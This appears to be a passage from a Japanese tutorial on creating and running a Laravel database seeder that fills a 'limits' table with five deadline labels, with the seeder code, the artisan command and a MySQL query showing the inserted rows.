アプリ名ディレクトリ/database/seeders/LimitTableSeeder.php<?php namespace Database\Seeders; use Illuminate\Database\Seeder; use Carbon\Carbon; use Illuminate\Support\Facades\DB; class LimitTableSeeder extends Seeder { /** * Run the database seeds. * * @return void */ public function run() { $limit_names = [ '今日中', '明日中', '今週中', '今月中', '未定', ]; $now = Carbon::now(); foreach ($limit_names as $limit_name) { $limit_info = [ 'name' => $limit_name, 'created_at' => $now, 'updated_at' => $now, ]; DB::table('limits')->insert($limit_info); } } }下記コマンドを実行して作成したSeederを登録するファイルを開く。
$ vi database/seeders/DetabaseSeeder.php下記のように内容を追記する。
アプリ名ディレクトリ/database/seeders/DetabaseSeeder.php<?php namespace Database\Seeders; use Illuminate\Database\Seeder; class DatabaseSeeder extends Seeder { /** * Seed the application's database. * * @return void */ public function run() { // \App\Models\User::factory(10)->create(); $this->call(LimitTableSeeder::class); } }下記コマンドを実行してシーディングの実行を行う。
$ php artisan db:seedMySQLにログインしlimitsテーブルを確認したところ下記のように表示されたため正常にSeederで登録指示したファイルが正常にシーディングされたことがわかる。
mysql> select * from limits; +----+-----------+---------------------+---------------------+------------+ | id | name | created_at | updated_at | deleted_at | +----+-----------+---------------------+---------------------+------------+ | 1 | 今日中 | 2021-03-13 12:00:03 | 2021-03-13 12:00:03 | NULL | | 2 | 明日中 | 2021-03-13 12:00:03 | 2021-03-13 12:00:03 | NULL | | 3 | 今週中 | 2021-03-13 12:00:03 | 2021-03-13 12:00:03 | NULL | | 4 | 今月中 | 2021-03-13 12:00:03 | 2021-03-13 12:00:03 | NULL | | 5 | 未定 | 2021-03-13 12:00:03 | 2021-03-13 12:00:03 | NULL | +----+-----------+---------------------+---------------------+------------+ 5 rows in set (0.00 sec)